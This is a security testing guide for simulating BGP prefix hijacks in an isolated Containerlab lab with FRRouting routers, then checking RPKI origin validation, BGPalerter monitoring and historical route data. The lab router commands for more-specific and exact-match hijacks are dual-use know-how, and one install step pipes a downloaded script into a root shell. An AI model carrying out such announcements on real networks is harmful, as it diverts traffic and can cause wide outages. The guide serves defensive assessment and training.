Exploiting BGP Hijacking Vulnerabilities

When to Use

Assessing an organization's exposure to BGP prefix hijacking and route leak attacks
Testing RPKI (Resource Public Key Infrastructure) deployment and route origin validation effectiveness
Validating BGP monitoring and alerting systems detect unauthorized route announcements
Simulating BGP hijacking in isolated lab environments to train network operations teams
Evaluating ISP prefix filtering and route origin authorization (ROA) configurations

Do not use to perform actual BGP hijacking on the live internet, against BGP peers without authorization, or to disrupt real internet routing infrastructure. BGP attacks on production systems are illegal and can cause widespread internet outages.

Prerequisites

Isolated BGP lab environment using GNS3, EVE-NG, or Containerlab with virtual routers (FRRouting, BIRD, or Cisco IOS)
Understanding of BGP path attributes, AS path, prefix announcements, and route selection
Access to BGP looking glass servers and RPKI validators for monitoring real-world route status
bgpstream, RIPEstat, and BGPalerter tools for route monitoring
Written authorization for any testing that involves real AS numbers or prefix announcements

Workflow

Step 1: Build an Isolated BGP Lab Environment

# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # Legitimate AS (AS65001) announcing 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # Attacker AS (AS65002) that will hijack the prefix
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # Transit provider (AS65000) connecting both
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # Victim network receiving routes
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml

Step 2: Verify Legitimate BGP Routing

# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"

Step 3: Simulate Prefix Hijack (More-Specific Route)

# On the attacker router, announce more-specific prefixes
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# Verify the hijack on the victim router
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# The victim should now prefer the /25 routes via the attacker
# because more-specific routes always win in IP routing
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.1"
# Expected: Route now via AS65000 AS65002 (attacker)

Step 4: Simulate AS Path Prepend and Origin Hijack

# Origin hijack: Attacker announces the exact /24 prefix
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/24
  no network 10.0.0.0/25
  no network 10.0.0.128/25
 exit-address-family
end
write memory
VTYSH

# Check which route the victim prefers
# With equal prefix length, shortest AS path wins
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24"
# Both routes visible, attacker may win based on AS path length

# Analyze how BGP path selection determines the winner
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24 bestpath-compare"

Step 5: Test RPKI Route Origin Validation

# Set up RPKI validator (Routinator)
docker run -d --name routinator \
  -p 3323:3323 -p 8323:8323 \
  nlnetlabs/routinator:latest

# Configure transit router to use RPKI validation
docker exec -it clab-bgp-hijack-lab-transit-router vtysh << 'VTYSH'
configure terminal
rpki
 rpki cache 172.17.0.1 3323 preference 1
exit
!
route-map RPKI-FILTER permit 10
 match rpki valid
!
route-map RPKI-FILTER deny 20
 match rpki invalid
!
route-map RPKI-FILTER permit 30
 match rpki notfound
!
router bgp 65000
 address-family ipv4 unicast
  neighbor 10.0.2.1 route-map RPKI-FILTER in
 exit-address-family
end
write memory
VTYSH

# Verify RPKI status
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show rpki prefix-table"
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# Attacker's announcement should be marked as RPKI Invalid if ROA exists

Step 6: Monitor and Detect BGP Anomalies

# Install BGPalerter for real-time monitoring
npm install -g bgpalerter
bgpalerter generate -o /etc/bgpalerter

# Configure BGPalerter to monitor your prefixes
cat > /etc/bgpalerter/prefixes.yml << 'EOF'
10.0.0.0/24:
  description: Production Network
  asn: 65001
  ignoreMorespecifics: false
  group: production
EOF

# Start monitoring
bgpalerter

# Use bgpstream to query historical routing data
pip3 install pybgpstream

python3 << 'PYEOF'
import pybgpstream

# Query for historical prefix announcements
stream = pybgpstream.BGPStream(
    from_time="2024-03-14 00:00:00",
    until_time="2024-03-15 00:00:00",
    collectors=["route-views2", "rrc00"],
    record_type="updates",
    filter="prefix more 10.0.0.0/24"
)

for rec in stream.records():
    for elem in rec:
        if elem.type == "A":  # Announcement
            print(f"Time: {elem.time}")
            print(f"Prefix: {elem.fields['prefix']}")
            print(f"AS Path: {elem.fields['as-path']}")
            print(f"Peer: {elem.peer_asn}")
            print("---")
PYEOF

# Check RPKI status via RIPEstat
curl -s "https://stat.ripe.net/data/rpki-validation/data.json?resource=AS65001&prefix=10.0.0.0/24" | python3 -m json.tool

Key Concepts

Term	Definition
BGP Hijacking	Unauthorized announcement of IP prefixes by an AS that does not own them, diverting traffic through the attacker's network
More-Specific Hijack	Announcing longer (more-specific) prefixes than the victim's, which always win in IP routing due to longest-prefix-match rule
RPKI (Resource PKI)	Cryptographic framework that allows IP prefix holders to authorize specific ASNs to originate their routes via Route Origin Authorizations (ROAs)
Route Origin Authorization (ROA)	Digitally signed object that authorizes an AS to originate a specific IP prefix, enabling RPKI-based route validation
AS Path Prepending	BGP technique of adding duplicate AS numbers to the AS path to make a route less preferred, also used defensively against hijacking
Route Leak	Propagation of BGP routing announcements beyond their intended scope, such as a customer re-advertising transit provider routes to other providers

Tools & Systems

Containerlab: Network lab orchestration tool for deploying virtual router topologies using Docker containers
FRRouting (FRR): Open-source routing suite supporting BGP, OSPF, IS-IS with RPKI validation capabilities
BGPalerter: Real-time BGP monitoring tool that detects prefix hijacking, route leaks, and RPKI status changes
Routinator: RPKI Relying Party software that validates ROAs and provides validated prefix-origin data to routers
pybgpstream: Python library for analyzing historical and real-time BGP data from RouteViews and RIPE RIS collectors

Common Scenarios

Scenario: Assessing an Organization's BGP Hijacking Resilience

Context: A cloud hosting company (AS12345) announces 203.0.113.0/24 for their customer-facing services. They need to assess their resilience to BGP hijacking attacks and verify their RPKI deployment is effective. The assessment includes lab simulation and real-world monitoring validation.

Approach:

Build a Containerlab topology replicating the organization's BGP peering with two upstream ISPs
Verify that ROA records are correctly published for all the organization's prefixes using RIPEstat
Simulate a more-specific prefix hijack (/25) from a rogue AS and verify that upstream ISPs with RPKI validation drop the invalid routes
Simulate an exact-match origin hijack and verify that RPKI ROV marks the route as invalid
Test route leak scenarios where a customer AS re-announces the provider's prefix
Deploy BGPalerter in production to continuously monitor for unauthorized announcements
Verify that the organization's ISPs have proper prefix filtering (IRR-based and RPKI) configured

Pitfalls:

Testing BGP hijacking on real internet infrastructure instead of isolated lab environments
Assuming RPKI alone prevents all hijacking -- many networks still do not validate RPKI
Not testing more-specific prefix announcements, which bypass origin validation if no max-length is set in ROAs
Overlooking route leak scenarios where authorized peers inadvertently redistribute routes

Output Format

## BGP Security Assessment Report

**Organization**: Cloud Hosting Co. (AS12345)
**Prefixes Assessed**: 203.0.113.0/24, 198.51.100.0/24
**Assessment Date**: 2024-03-15

### RPKI Status

| Prefix | ROA Exists | Max Length | Origin AS | Status |
|--------|-----------|------------|-----------|--------|
| 203.0.113.0/24 | Yes | /24 | AS12345 | Valid |
| 198.51.100.0/24 | No | N/A | AS12345 | Not Found |

### Lab Simulation Results

| Attack Type | RPKI Validation | Result |
|-------------|-----------------|--------|
| More-specific /25 hijack | Enabled | BLOCKED (Invalid origin) |
| More-specific /25 hijack | Disabled | SUCCESSFUL (traffic diverted) |
| Exact-match origin hijack | Enabled | BLOCKED (Invalid origin) |
| Route leak via customer | Enabled | NOT BLOCKED (valid origin, wrong path) |

### Recommendations
1. Create ROA for 198.51.100.0/24 (currently unprotected)
2. Set max-length to /24 in ROAs to prevent more-specific hijacks
3. Request upstream ISPs enable RPKI Route Origin Validation
4. Deploy BGPalerter for continuous prefix monitoring
5. Register with IRR databases and request prefix filtering from peers